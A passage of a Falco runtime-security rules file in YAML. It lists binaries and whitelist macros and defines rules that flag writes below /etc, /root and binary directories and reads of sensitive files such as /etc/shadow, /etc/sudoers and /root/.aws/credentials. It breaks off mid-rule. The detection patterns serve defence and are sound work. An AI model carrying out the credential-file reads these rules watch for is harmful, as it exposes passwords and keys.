chef_binaries 157 | items: [chef-client] 158 | 159 | - list: http_server_binaries 160 | items: [nginx, httpd, httpd-foregroun, lighttpd, apache, apache2] 161 | 162 | - list: db_server_binaries 163 | items: [mysqld, postgres, sqlplus] 164 | 165 | - list: mysql_mgmt_binaries 166 | items: [mysql_install_d, mysql_ssl_rsa_s] 167 | 168 | - list: postgres_mgmt_binaries 169 | items: [pg_dumpall, pg_ctl] 170 | 171 | - list: db_mgmt_binaries 172 | items: [mysql_mgmt_binaries, postgres_mgmt_binaries] 173 | 174 | - list: nosql_server_binaries 175 | items: [couchdb, memcached, redis-server, rabbitmq-server, mongod] 176 | 177 | - list: gitlab_binaries 178 | items: [gitlab-shell, gitlab-mon, gitlab-runner-b, git] 179 | 180 | - macro: server_procs 181 | condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd) 182 | 183 | # The explicit quotes are needed to avoid the - characters being 184 | # interpreted by the filter expression. 185 | - list: rpm_binaries 186 | items: [dnf, rpm, rpmkey, yum, '"75-system-updat"', rhsmcertd-worke, subscription-ma, 187 | repoquery, rpmkeys, rpmq, yum-cron] 188 | 189 | - macro: rpm_procs 190 | condition: proc.name in (rpm_binaries) or proc.name in (salt-minion) 191 | 192 | - list: deb_binaries 193 | items: [dpkg, dpkg-preconfigu, dpkg-reconfigur, apt, apt-get, aptitude, 194 | frontend, preinst, add-apt-reposit, apt-auto-remova, apt-key, 195 | apt-listchanges, unattended-upgr 196 | ] 197 | 198 | # The truncated dpkg-preconfigu is intentional, process names are 199 | # truncated at the sysdig level. 200 | - list: package_mgmt_binaries 201 | items: [rpm_binaries, deb_binaries, update-alternat, gem, pip, sane-utils.post] 202 | 203 | - macro: package_mgmt_procs 204 | condition: proc.name in (package_mgmt_binaries) 205 | 206 | - macro: run_by_package_mgmt_binaries 207 | condition: proc.aname in (package_mgmt_binaries, needrestart) 208 | 209 | - list: ssl_mgmt_binaries 210 | items: [ca-certificates] 211 | 212 | - list: dhcp_binaries 213 | items: [dhclient, dhclient-script] 214 | 215 | # A canonical set of processes that run other programs with different 216 | # privileges or as a different user. 217 | - list: userexec_binaries 218 | items: [sudo, su, suexec] 219 | 220 | - list: known_setuid_binaries 221 | items: [ 222 | sshd, dbus-daemon-lau, ping, ping6, critical-stack-, pmmcli, 223 | filemng, PassengerAgent, bwrap, osdetect, nginxmng, sw-engine-fpm, 224 | start-stop-daem 225 | ] 226 | 227 | - list: user_mgmt_binaries 228 | items: [login_binaries, passwd_binaries, shadowutils_binaries] 229 | 230 | - list: dev_creation_binaries 231 | items: [blkid, rename_device, update_engine, sgdisk] 232 | 233 | - list: aide_wrapper_binaries 234 | items: [aide.wrapper, update-aide.con] 235 | 236 | - list: hids_binaries 237 | items: [aide] 238 | 239 | - list: vpn_binaries 240 | items: [openvpn] 241 | 242 | - list: nomachine_binaries 243 | items: [nxexec, nxnode.bin, nxserver.bin, nxclient.bin] 244 | 245 | - list: x2go_binaries 246 | items: [x2gosuspend-age, x2goagent, x2gomountdirs] 247 | 248 | - list: nids_binaries 249 | items: [bro, broctl] 250 | 251 | - list: monitoring_binaries 252 | items: [icinga2, nrpe, npcd, check_sar_perf., qualys-cloud-ag, S99qualys-cloud, nagios] 253 | 254 | - macro: system_procs 255 | condition: proc.name in (coreutils_binaries, user_mgmt_binaries) 256 | 257 | - list: mail_binaries 258 | items: [ 259 | sendmail, sendmail-msp, postfix, procmail, exim4, 260 | pickup, showq, mailq, dovecot, imap-login, imap, 261 | mailmng-core, pop3-login, dovecot-lda, pop3 262 | ] 263 | 264 | - list: mail_config_binaries 265 | items: [ 266 | update_conf, parse_mc, makemap_hash, newaliases, update_mk, update_tlsm4, 267 | update_db, update_mc, ssmtp.postinst, mailq, postalias, postfix.config., 268 | postfix.config, postfix-script 269 | ] 270 | 271 | - list: make_binaries 272 | items: [make, gmake, cmake, automake, autom4te, autoheader] 273 | 274 | - list: keepalived_binaries 275 | items: [keepalived] 276 | 277 | - list: sensitive_file_names 278 | items: [/etc/shadow, /etc/sudoers, /etc/pam.conf] 279 | 280 | - macro: sensitive_files 281 | condition: > 282 | fd.name startswith /etc and 283 | (fd.name in (sensitive_file_names) 284 | or fd.directory in (/etc/sudoers.d, /etc/pam.d)) 285 | 286 | # Indicates that the process is new. Currently detected using time 287 | # since process was started, using a threshold of 5 seconds. 288 | - macro: proc_is_new 289 | condition: proc.duration <= 5000000000 290 | 291 | # Network 292 | - macro: inbound 293 | condition: ((evt.type=listen and evt.dir=>) or (evt.type=accept and evt.dir=<)) 294 | 295 | # Currently sendto is an ignored syscall, otherwise this could also 296 | # check for (evt.type=sendto and evt.dir=>) 297 | - macro: outbound 298 | condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6) 299 | 300 | - macro: ssh_port 301 | condition: fd.lport=22 302 | 303 | # Ssh 304 | - macro: ssh_error_message 305 | condition: > 306 | (evt.arg.data contains "Invalid user" or 307 | evt.arg.data contains "preauth" or 308 | evt.arg.data contains "Failed password") 309 | 310 | # System 311 | - macro: modules 312 | condition: evt.type in (delete_module, init_module) 313 | 314 | # Use this to test whether the event occurred within a container. 315 | 316 | # When displaying container information in the output field, use 317 | # %container.info, without any leading term (file=%fd.name 318 | # %container.info user=%user.name, and not file=%fd.name 319 | # container=%container.info user=%user.name). The output will change 320 | # based on the context and whether or not -pk/-pm/-pc was specified on 321 | # the command line. 322 | - macro: container 323 | condition: container.id != host 324 | 325 | - macro: interactive 326 | condition: > 327 | ((proc.aname=sshd and proc.name != sshd) or 328 | proc.name=systemd-logind or proc.name=login) 329 | 330 | - macro: syslog 331 | condition: fd.name in (/dev/log, /run/systemd/journal/syslog) 332 | 333 | - list: cron_binaries 334 | items: [anacron, cron, crond, crontab] 335 | 336 | # https://github.com/liske/needrestart 337 | - list: needrestart_binaries 338 | items: [needrestart, 10-dpkg, 20-rpm, 30-pacman] 339 | 340 | # Possible scripts run by sshkit 341 | - list: sshkit_script_binaries 342 | items: [10_etc_sudoers., 10_passwd_group] 343 | 344 | - list: plesk_binaries 345 | items: [sw-engine, sw-engine-fpm, sw-engine-kv, filemng, f2bmng] 346 | 347 | # System users that should never log into a system. Consider adding your own 348 | # service users (e.g. 'apache' or 'mysqld') here. 349 | - macro: system_users 350 | condition: user.name in (bin, daemon, games, lp, mail, nobody, sshd, sync, uucp, www-data) 351 | 352 | # SPECIAL NOTE: This macro eliminates false positives that result from 353 | # running python scripts as a part of ansible. However, the condition 354 | # that the command line contains "ansible" is very 355 | # permissive. Ideally, you should change this macro to explicitly 356 | # scope the python scripts to a specific directory (namely, your 357 | # configured remote_tmp directory). 358 | - macro: parent_ansible_running_python 359 | condition: (proc.pname in (python, pypy) and proc.pcmdline contains ansible) 360 | 361 | - macro: ansible_running_python 362 | condition: (proc.name in (python, pypy) and proc.cmdline contains ansible) 363 | 364 | - macro: chef_running_yum_dump 365 | condition: (proc.name=python and proc.cmdline contains yum-dump.py) 366 | 367 | - macro: parent_beam_running_python 368 | condition: proc.pcmdline="python pipeline.py -c conf.json" 369 | 370 | - macro: parent_strongswan_running_starter 371 | condition: proc.pcmdline="starter --daemon charon" 372 | 373 | - macro: python_running_denyhosts 374 | condition: > 375 | (proc.name=python and 376 | (proc.cmdline contains /usr/sbin/denyhosts or 377 | proc.cmdline contains /usr/local/bin/denyhosts.py)) 378 | 379 | - macro: parent_python_running_localstack 380 | condition: (proc.pcmdline startswith "python bin/localstack") 381 | 382 | - macro: parent_python_running_zookeeper 383 | condition: (proc.pcmdline startswith "python /usr/local/bin/cub") 384 | 385 | - macro: parent_python_running_airflow 386 | condition: (proc.pname in (python,/usr/bin/python) and proc.cmdline startswith "bash -c airflow") 387 | 388 | - macro: parent_docker_start_script 389 | condition: (proc.pcmdline="start.sh /opt/docker/conf/start.sh") 390 | 391 | - macro: parent_python_running_denyhosts 392 | condition: > 393 | (proc.cmdline startswith "denyhosts.py /usr/bin/denyhosts.py" or 394 | (proc.pname=python and 395 | (proc.pcmdline contains /usr/sbin/denyhosts or 396 | proc.pcmdline contains /usr/local/bin/denyhosts.py))) 397 | 398 | - macro: parent_python_running_sdchecks 399 | condition: > 400 | (proc.pname in (python, python2.7) and 401 | (proc.pcmdline contains /opt/draios/bin/sdchecks)) 402 | 403 | - macro: parent_bro_running_python 404 | condition: (proc.pname=python and proc.cmdline contains /usr/share/broctl) 405 | 406 | - macro: parent_java_running_jenkins 407 | condition: > 408 | (proc.pname=java and 409 | (proc.pcmdline contains jenkins.war or 410 | proc.pcmdline contains "-cp /jenkins/maven" or 411 | proc.pcmdline contains /tmp/slave.jar or 412 | proc.pcmdline contains /mnt/mesos/sandbox/slave.jar)) 413 | 414 | - macro: parent_java_running_maven 415 | condition: > 416 | (proc.pname=java and proc.pcmdline contains "-classpath /usr/share/maven/") 417 | 418 | - macro: parent_java_running_appdynamics 419 | condition: > 420 | (proc.pname=java and proc.pcmdline contains "-jar /opt/appdynamics/") 421 | 422 | - macro: python_running_es_curator 423 | condition: (proc.pcmdline startswith "python -u run_cron.py" and 424 | proc.cmdline startswith "sh -c /usr/bin/curator") 425 | 426 | - macro: parent_cpanm_running_perl 427 | condition: (proc.pname=perl and proc.aname[2]=cpanm) 428 | 429 | - macro: ics_running_java 430 | condition: (proc.pname=java and proc.aname[3] in (ics_start.sh,ics_stop.sh,ics_status.sh)) 431 | 432 | - macro: jenkins_scripts 433 | condition: (proc.pcmdline startswith "script.sh -xe /var/jenkins_home" or 434 | proc.pcmdline startswith "node /jenkins/workspace" or 435 | proc.pcmdline startswith "python /home/jenkins/workspace" or 436 | proc.cmdline="bash /usr/local/bin/jenkins-slave") 437 | 438 | - macro: parent_java_running_echo 439 | condition: (proc.pname=java and proc.cmdline startswith "sh -c echo") 440 | 441 | - macro: parent_java_running_sbt 442 | condition: (proc.pname=java and proc.pcmdline contains sbt-launch.jar) 443 | 444 | # The crxlsx is a bit different than the other build-like things, but 445 | # close enough to add here rather than create a separate macro. 446 | - macro: parent_scripting_running_builds 447 | condition: > 448 | (proc.pname in (php,php5-fpm,php-fpm7.1,python,ruby,ruby2.3,ruby2.1,node,conda) and ( 449 | proc.cmdline startswith "sh -c git" or 450 | proc.cmdline startswith "sh -c date" or 451 | proc.cmdline startswith "sh -c /usr/bin/g++" or 452 | proc.cmdline startswith "sh -c /usr/bin/gcc" or 453 | proc.cmdline startswith "sh -c gcc" or 454 | proc.cmdline startswith "sh -c if type gcc" or 455 | proc.cmdline startswith "sh -c cd '/var/www/edi/';LC_ALL=en_US.UTF-8 git" or 456 | proc.cmdline startswith "sh -c /var/www/edi/bin/sftp.sh" or 457 | proc.cmdline startswith "sh -c /usr/src/app/crxlsx/bin/linux/crxlsx" or 458 | proc.cmdline startswith "sh -c make parent" or 459 | proc.cmdline startswith "node /jenkins/tools" or 460 | proc.cmdline startswith "sh -c '/usr/bin/node'" or 461 | proc.cmdline startswith "sh -c stty -a |" or 462 | proc.pcmdline startswith "node /opt/nodejs/bin/yarn" or 463 | proc.pcmdline startswith "node /usr/local/bin/yarn" or 464 | proc.pcmdline startswith "node /root/.config/yarn" or 465 | proc.pcmdline startswith "node /opt/yarn/bin/yarn.js")) 466 | 467 | - macro: makefile_perl 468 | condition: (proc.pcmdline startswith "perl Makefile.PL") 469 | 470 | - macro: parent_node_running_npm 471 | condition: (proc.pcmdline startswith "node /usr/local/bin/npm" or 472 | proc.pcmdline startswith "node /usr/local/nodejs/bin/npm" or 473 | proc.pcmdline startswith "node /opt/rh/rh-nodejs6/root/usr/bin/npm") 474 | 475 | - macro: parent_npm_running_node 476 | condition: (proc.pname=node and proc.aname[2]=npm) 477 | 478 | - macro: parent_nginx_running_serf 479 | condition: (proc.pname=nginx and proc.cmdline startswith "sh -c serf") 480 | 481 | - macro: parent_Xvfb_running_xkbcomp 482 | condition: (proc.pname=Xvfb and proc.cmdline startswith 'sh -c "/usr/bin/xkbcomp"') 483 | 484 | - macro: mysql_image_running_healthcheck 485 | condition: container.image=mysql and proc.cmdline="sh -c /healthcheck.sh" 486 | 487 | - macro: parent_rancher_running_healthcheck 488 | condition: (proc.pname=healthcheck and (proc.aname[2]=tini or proc.aname[3]=tini)) 489 | 490 | - macro: bundle_running_ruby 491 | condition: > 492 | ((proc.pname in (ruby,ruby2.1) or proc.pname contains ".rb") and ( 493 | proc.aname[2]=bundle or 494 | proc.aname[3]=bundle or 495 | proc.aname[4]=bundle)) 496 | 497 | - macro: assemble_running_php 498 | condition: > 499 | (proc.pname=php and ( 500 | proc.aname[2]=assemble or 501 | proc.aname[3]=assemble or 502 | proc.aname[4]=assemble)) 503 | 504 | - macro: node_running_bitnami 505 | condition: (proc.pname=node and 506 | (proc.cmdline startswith "sh -c /opt/bitnami" or 507 | proc.cmdline startswith "sh -c bin/redis-server /opt/bitnami")) 508 | 509 | - macro: node_running_threatstack 510 | condition: proc.pcmdline startswith "node /opt/threatstack/node_modules" 511 | 512 | # Qualys seems to run a variety of shell subprocesses, at various 513 | # levels. This checks at a few levels without the cost of a full 514 | # proc.aname, which traverses the full parent heirarchy. 515 | - macro: run_by_qualys 516 | condition: > 517 | (proc.pname=qualys-cloud-ag or 518 | proc.aname[2]=qualys-cloud-ag or 519 | proc.aname[3]=qualys-cloud-ag or 520 | proc.aname[4]=qualys-cloud-ag) 521 | 522 | - macro: run_by_sumologic_securefiles 523 | condition: > 524 | ((proc.cmdline="usermod -a -G sumologic_collector" or 525 | proc.cmdline="groupadd sumologic_collector") and 526 | (proc.pname=secureFiles.sh and proc.aname[2]=java)) 527 | 528 | - macro: run_by_yum 529 | condition: ((proc.pname=sh and proc.aname[2]=yum) or 530 | (proc.aname[2]=sh and proc.aname[3]=yum)) 531 | 532 | # Chef is similar. 533 | - macro: run_by_chef 534 | condition: (proc.aname[2]=chef_command_wr or proc.aname[3]=chef_command_wr or 535 | proc.aname[2]=chef-client or proc.aname[3]=chef-client or 536 | proc.name=chef-client) 537 | 538 | - macro: run_by_adclient 539 | condition: (proc.aname[2]=adclient or proc.aname[3]=adclient or proc.aname[4]=adclient) 540 | 541 | - macro: run_by_centrify 542 | condition: (proc.aname[2]=centrify or proc.aname[3]=centrify or proc.aname[4]=centrify) 543 | 544 | - macro: run_by_puppet 545 | condition: (proc.aname[2]=puppet or proc.aname[3]=puppet) 546 | 547 | - macro: run_by_h2o 548 | condition: (proc.pname=perl and proc.aname[2]=h2o) 549 | 550 | - macro: run_by_passenger_agent 551 | condition: ((proc.pname=ruby and proc.aname[2]=PassengerAgent) or 552 | proc.pcmdline startswith "ruby /usr/share/passenger/helper-scripts/rack-preloader.rb" or 553 | proc.pcmdline startswith "ruby /usr/local/bundle/bin/passenger" or 554 | proc.pcmdline startswith "ruby /usr/local/bin/passenger") 555 | 556 | # Also handles running semi-indirectly via scl 557 | - macro: run_by_foreman 558 | condition: > 559 | (user.name=foreman and 560 | (proc.pname in (rake, ruby, scl) and proc.aname[5] in (tfm-rake,tfm-ruby)) or 561 | (proc.pname=scl and proc.aname[2] in (tfm-rake,tfm-ruby))) 562 | 563 | - macro: run_by_openshift 564 | condition: proc.aname[2]=es_seed_acl 565 | 566 | # As a part of kernel upgrades, dpkg will spawn a perl script with the 567 | # name linux-image-N.N. This macro matches that. 568 | - macro: parent_linux_image_upgrade_script 569 | condition: proc.pname startswith linux-image- 570 | 571 | - macro: java_running_sdjagent 572 | condition: proc.name=java and proc.cmdline contains sdjagent.jar 573 | 574 | - macro: kubelet_running_loopback 575 | condition: (proc.pname=kubelet and proc.name=loopback) 576 | 577 | - macro: parent_java_running_confluence 578 | condition: (proc.pname=java and proc.pcmdline contains "-classpath /opt/atlassian/confluence") 579 | 580 | - macro: parent_java_running_install4j 581 | condition: (proc.pname=java and proc.pcmdline contains "-classpath i4jruntime.jar") 582 | 583 | - macro: parent_java_running_endeca 584 | condition: (proc.pname=java and proc.pcmdline contains "-classpath /opt/endeca/") 585 | 586 | - macro: python_mesos_healthcheck 587 | condition: (proc.pcmdline startswith "python /mesoshealthcheck.py") 588 | 589 | - macro: python_mesos_marathon_scripting 590 | condition: (proc.pcmdline startswith "python3 /marathon-lb/marathon_lb.py") 591 | 592 | - macro: splunk_running_forwarder 593 | condition: (proc.pname=splunkd and proc.cmdline startswith "sh -c /opt/splunkforwarder") 594 | 595 | - macro: parent_running_datastax 596 | condition: ((proc.pname=java and proc.pcmdline contains "-jar datastax-agent") or 597 | (proc.pcmdline startswith "nodetool /opt/dse/bin/")) 598 | 599 | - macro: parent_dovecot_running_auth 600 | condition: (proc.pname=auth and proc.aname[2]=dovecot) 601 | 602 | - macro: parent_supervise_running_multilog 603 | condition: (proc.name=multilog and proc.pname=supervise) 604 | 605 | - macro: supervise_writing_status 606 | condition: (proc.name in (supervise,svc) and fd.name startswith "/etc/sb/") 607 | 608 | - macro: parent_ruby_running_discourse 609 | condition: (proc.pcmdline startswith "ruby /var/www/discourse/vendor/bundle/ruby") 610 | 611 | - macro: parent_ruby_running_pups 612 | condition: (proc.pcmdline startswith "ruby /pups/bin/pups") 613 | 614 | - macro: pki_realm_writing_realms 615 | condition: (proc.cmdline startswith "bash /usr/local/lib/pki/pki-realm" and fd.name startswith /etc/pki/realms) 616 | 617 | - macro: htpasswd_writing_passwd 618 | condition: (proc.name=htpasswd and fd.name=/etc/nginx/.htpasswd) 619 | 620 | - macro: lvprogs_writing_lvm_archive 621 | condition: (proc.name in (dmeventd,lvcreate) and (fd.name startswith /etc/lvm/archive or 622 | fd.name startswith /etc/lvm/backup)) 623 | - macro: ovsdb_writing_openvswitch 624 | condition: (proc.name=ovsdb-server and fd.directory=/etc/openvswitch) 625 | 626 | - macro: perl_running_plesk 627 | condition: (proc.cmdline startswith "perl /opt/psa/admin/bin/plesk_agent_manager" or 628 | proc.pcmdline startswith "perl /opt/psa/admin/bin/plesk_agent_manager") 629 | 630 | - macro: plesk_autoinstaller 631 | condition: (proc.pname=autoinstaller and proc.aname[2]=sw-engine) 632 | 633 | - macro: parent_perl_running_openresty 634 | condition: (proc.pcmdline startswith "perl /usr/local/openresty/bin") 635 | 636 | - macro: parent_ucf_writing_conf 637 | condition: (proc.pname=ucf and fd.name startswith "/etc/gconf") 638 | 639 | - macro: consul_template_writing_conf 640 | condition: (proc.name=consul-template and fd.name startswith /etc/haproxy) 641 | 642 | - macro: countly_writing_nginx_conf 643 | condition: (proc.cmdline startswith "nodejs /opt/countly/bin" and fd.name startswith /etc/nginx) 644 | 645 | - list: veritas_binaries 646 | items: [vxconfigd, sfcache, vxclustadm, vxdctl, vxprint, vxdmpadm, vxdisk, vxdg, vxassist, vxtune] 647 | 648 | - macro: veritas_driver_script 649 | condition: (proc.cmdline startswith "perl /opt/VRTSsfmh/bin/mh_driver.pl") 650 | 651 | - macro: veritas_progs 652 | condition: (proc.name in (veritas_binaries) or veritas_driver_script) 653 | 654 | - macro: veritas_writing_config 655 | condition: (veritas_progs and fd.name startswith /etc/vx) 656 | 657 | - macro: exe_running_docker_save 658 | condition: (container and proc.cmdline startswith "exe /var/lib/docker" and proc.pname in (dockerd, docker)) 659 | 660 | ############### 661 | # General Rules 662 | ############### 663 | 664 | - rule: Write below binary dir 665 | desc: an attempt to write to any file below a set of binary directories 666 | condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs and not exe_running_docker_save 667 | output: > 668 | File below a known binary directory opened for writing (user=%user.name 669 | command=%proc.cmdline file=%fd.name) 670 | priority: ERROR 671 | tags: [filesystem] 672 | 673 | - list: safe_etc_dirs 674 | items: [/etc/cassandra, /etc/ssl/certs/java, /etc/logstash, /etc/nginx/conf.d, /etc/container_environment, /etc/hrmconfig] 675 | 676 | - macro: fluentd_writing_conf_files 677 | condition: (proc.name=start-fluentd and fd.name in (/etc/fluent/fluent.conf, /etc/td-agent/td-agent.conf)) 678 | 679 | - macro: qualys_writing_conf_files 680 | condition: (proc.name=qualys-cloud-ag and fd.name=/etc/qualys/cloud-agent/qagent-log.conf) 681 | 682 | - macro: git_writing_nssdb 683 | condition: (proc.name=git-remote-http and fd.directory=/etc/pki/nssdb) 684 | 685 | - macro: plesk_writing_keys 686 | condition: (proc.name in (plesk_binaries) and fd.name startswith /etc/sw/keys) 687 | 688 | - macro: plesk_install_writing_apache_conf 689 | condition: (proc.cmdline startswith "bash -hB /usr/lib/plesk-9.0/services/webserver.apache configure" 690 | and fd.name="/etc/apache2/apache2.conf.tmp") 691 | 692 | - macro: plesk_running_mktemp 693 | condition: (proc.name=mktemp and proc.aname[3] in (plesk_binaries)) 694 | 695 | - macro: networkmanager_writing_resolv_conf 696 | condition: proc.aname[2]=nm-dispatcher and fd.name=/etc/resolv.conf 697 | 698 | - macro: add_shell_writing_shells_tmp 699 | condition: (proc.name=add-shell and fd.name=/etc/shells.tmp) 700 | 701 | - macro: duply_writing_exclude_files 702 | condition: (proc.name=touch and proc.pcmdline startswith "bash /usr/bin/duply" and fd.name startswith "/etc/duply") 703 | 704 | - macro: xmlcatalog_writing_files 705 | condition: (proc.name=update-xmlcatal and fd.directory=/etc/xml) 706 | 707 | - macro: datadog_writing_conf 708 | condition: ((proc.cmdline startswith "python /opt/datadog-agent" or 709 | proc.cmdline startswith "entrypoint.sh /entrypoint.sh datadog start" or 710 | proc.cmdline startswith "agent.py /opt/datadog-agent") 711 | and fd.name startswith "/etc/dd-agent") 712 | 713 | - macro: curl_writing_pki_db 714 | condition: (proc.name=curl and fd.directory=/etc/pki/nssdb) 715 | 716 | - macro: haproxy_writing_conf 717 | condition: ((proc.name in (update-haproxy-,haproxy_reload.) or proc.pname=update-haproxy-) 718 | and fd.name=/etc/openvpn/client.map or fd.directory=/etc/haproxy) 719 | 720 | - macro: java_writing_conf 721 | condition: (proc.name=java and fd.name=/etc/.java/.systemPrefs/.system.lock) 722 | 723 | - macro: rabbitmq_writing_conf 724 | condition: (proc.name=rabbitmq-server and fd.directory=/etc/rabbitmq) 725 | 726 | - macro: rook_writing_conf 727 | condition: (proc.name=toolbox.sh and container.image startswith rook/toolbox 728 | and fd.directory=/etc/ceph) 729 | 730 | - macro: httpd_writing_conf_logs 731 | condition: (proc.name=httpd and fd.name startswith /etc/httpd/) 732 | 733 | - macro: mysql_writing_conf 734 | condition: ((proc.name=start-mysql.sh or proc.pname=start-mysql.sh) and fd.name startswith /etc/mysql) 735 | 736 | - macro: openvpn_writing_conf 737 | condition: (proc.name=openvpn and fd.directory=/etc/openvpn) 738 | 739 | - macro: php_handlers_writing_conf 740 | condition: (proc.name=php_handlers_co and fd.name=/etc/psa/php_versions.json) 741 | 742 | - macro: cron_sed_writing_temp_file 743 | condition: (proc.aname[3]=cron_start.sh and fd.name startswith /etc/security/sed) 744 | 745 | # In some cases dpkg-reconfigur runs commands that modify /etc. Not 746 | # putting the full set of package management programs yet. 747 | - macro: dpkg_scripting 748 | condition: (proc.aname[2] in (dpkg-reconfigur, dpkg-preconfigu)) 749 | 750 | # Add conditions to this macro (probably in a separate file, 751 | # overwriting this macro) to allow for specific combinations of 752 | # programs writing below specific directories below 753 | # /etc. fluentd_writing_conf_files is a good example to follow, as it 754 | # specifies both the program doing the writing as well as the specific 755 | # files it is allowed to modify. 756 | # 757 | # In this file, it just takes one of the programs in the base macro 758 | # and repeats it. 759 | 760 | - macro: user_known_write_etc_conditions 761 | condition: proc.name=confd 762 | 763 | - macro: write_etc_common 764 | condition: > 765 | etc_dir and evt.dir = < and open_write 766 | and not proc.name in (passwd_binaries, shadowutils_binaries, sysdigcloud_binaries, 767 | package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, 768 | dev_creation_binaries, shell_mgmt_binaries, 769 | mail_config_binaries, 770 | sshkit_script_binaries, 771 | ldconfig.real, ldconfig, confd, gpg, insserv, 772 | apparmor_parser, update-mime, tzdata.config, tzdata.postinst, 773 | systemd, systemd-machine, systemd-sysuser, 774 | debconf-show, rollerd, bind9.postinst, sv, 775 | gen_resolvconf., update-ca-certi, certbot, runsv, 776 | qualys-cloud-ag, locales.postins, nomachine_binaries, 777 | adclient, certutil, crlutil, pam-auth-update, parallels_insta, 778 | openshift-launc) 779 | and not proc.pname in (sysdigcloud_binaries, mail_config_binaries, hddtemp.postins, sshkit_script_binaries, locales.postins, deb_binaries) 780 | and not fd.name pmatch (safe_etc_dirs) 781 | and not fd.name in (/etc/container_environment.sh, /etc/container_environment.json, /etc/motd, /etc/motd.svc) 782 | and not exe_running_docker_save 783 | and not ansible_running_python 784 | and not python_running_denyhosts 785 | and not fluentd_writing_conf_files 786 | and not user_known_write_etc_conditions 787 | and not run_by_centrify 788 | and not run_by_adclient 789 | and not qualys_writing_conf_files 790 | and not git_writing_nssdb 791 | and not plesk_writing_keys 792 | and not plesk_install_writing_apache_conf 793 | and not plesk_running_mktemp 794 | and not networkmanager_writing_resolv_conf 795 | and not run_by_chef 796 | and not add_shell_writing_shells_tmp 797 | and not duply_writing_exclude_files 798 | and not xmlcatalog_writing_files 799 | and not parent_supervise_running_multilog 800 | and not supervise_writing_status 801 | and not pki_realm_writing_realms 802 | and not htpasswd_writing_passwd 803 | and not lvprogs_writing_lvm_archive 804 | and not ovsdb_writing_openvswitch 805 | and not datadog_writing_conf 806 | and not curl_writing_pki_db 807 | and not haproxy_writing_conf 808 | and not java_writing_conf 809 | and not dpkg_scripting 810 | and not parent_ucf_writing_conf 811 | and not rabbitmq_writing_conf 812 | and not rook_writing_conf 813 | and not php_handlers_writing_conf 814 | and not cron_sed_writing_temp_file 815 | and not httpd_writing_conf_logs 816 | and not mysql_writing_conf 817 | and not openvpn_writing_conf 818 | and not consul_template_writing_conf 819 | and not countly_writing_nginx_conf 820 | 821 | - rule: Write below etc 822 | desc: an attempt to write to any file below /etc 823 | condition: write_etc_common and not proc.sname=fbash 824 | output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname pcmdline=%proc.pcmdline file=%fd.name name=%proc.name gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4])" 825 | priority: ERROR 826 | tags: [filesystem] 827 | 828 | - list: known_root_files 829 | items: [/root/.monit.state, /root/.auth_tokens, /root/.bash_history, /root/.ash_history, /root/.aws/credentials, 830 | /root/.viminfo.tmp, /root/.lesshst, /root/.bzr.log, /root/.gitconfig.lock] 831 | 832 | - list: known_root_directories 833 | items: [/root/.oracle_jre_usage, /root/.ssh] 834 | 835 | - macro: known_root_conditions 836 | condition: (fd.name startswith /root/orcexec. 837 | or fd.name startswith /root/.m2 838 | or fd.name startswith /root/.npm 839 | or fd.name startswith /root/.pki 840 | or fd.name startswith /root/.ivy2 841 | or fd.name startswith /root/.config/Cypress 842 | or fd.name startswith /root/.config/pulse 843 | or fd.name startswith /root/.config/configstore 844 | or fd.name startswith /root/jenkins/workspace 845 | or fd.name startswith /root/.jenkins 846 | or fd.name startswith /root/.cache 847 | or fd.name startswith /root/.sbt 848 | or fd.name startswith /root/.java 849 | or fd.name startswith /root/.glide 850 | or fd.name startswith /root/.sonar) 851 | 852 | - rule: Write below root 853 | desc: an attempt to write to any file directly below / or /root 854 | condition: > 855 | root_dir and evt.dir = < and open_write 856 | and not fd.name in (known_root_files) 857 | and not fd.directory in (known_root_directories) 858 | and not exe_running_docker_save 859 | and not known_root_conditions 860 | output: "File below / or /root opened for writing (user=%user.name command=%proc.cmdline parent=%proc.pname file=%fd.name name=%proc.name)" 861 | priority: ERROR 862 | tags: [filesystem] 863 | 864 | - macro: cmp_cp_by_passwd 865 | condition: proc.name in (cmp, cp) and proc.pname in (passwd, run-parts) 866 | 867 | - rule: Read sensitive file trusted after startup 868 | desc: > 869 | an attempt to read any sensitive file (e.g. files containing user/password/authentication 870 | information) by a trusted program after startup. Trusted programs might read these files 871 | at startup to load initial state, but not afterwards. 872 | condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd" 873 | output: > 874 | Sensitive file opened for reading by trusted program after startup (user=%user.name 875 | command=%proc.cmdline parent=%proc.pname file=%fd.name parent=%proc.pname gparent=%proc.aname[2]) 876 | priority: WARNING 877 | tags: [filesystem] 878 | 879 | - list: read_sensitive_file_binaries 880 | items: [ 881 | iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, sshd, 882 | vsftpd, systemd, mysql_install_d, psql, screen, debconf-show, sa-update, 883 | pam-auth-update, /usr/sbin/spamd, polkit-agent-he, lsattr, file, sosreport, 884 | scxcimservera 885 | ] 886 | 887 | # Add conditions to this macro (probably in a separate file, 888 | # overwriting this macro) to allow for specific combinations of 889 | # programs accessing sensitive files. 890 | # fluentd_writing_conf_files is a good example to follow, as it 891 | # specifies both the program doing the writing as well as the specific 892 | # files it is allowed to modify. 893 | # 894 | # In this file, it just takes one of the macros in the base rule 895 | # and repeats it. 896 | 897 | - macro: user_read_sensitive_file_conditions 898 | condition: cmp_cp_by_passwd 899 | 900 | - rule: Read sensitive file untrusted 901 | desc: > 902 | an attempt to read any sensitive file (e.g. files containing user/password/authentication 903 | information). Exceptions are made for known trusted programs. 904 | condition: > 905 | sensitive_files and open_read 906 | and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, 907 | cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries, 908 | vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries, 909 | in.proftpd, mandb, salt-minion) 910 | and not cmp_cp_by_passwd 911 | and not ansible_running_python 912 | and not proc.cmdline contains /usr/bin/mandb 913 | and not run_by_qualys 914 | and not run_by_chef 915 | and not user_read_sensitive_file_conditions 916 | and not perl_running_plesk 917 | and not veritas_driver_script 918 | output: > 919 | Sensitive file opened for reading by non-trusted program (user=%user.name name=%proc.name 920 | command=%proc.cmdline file=%fd.name parent=%proc.pname gparent=%proc.aname[2] 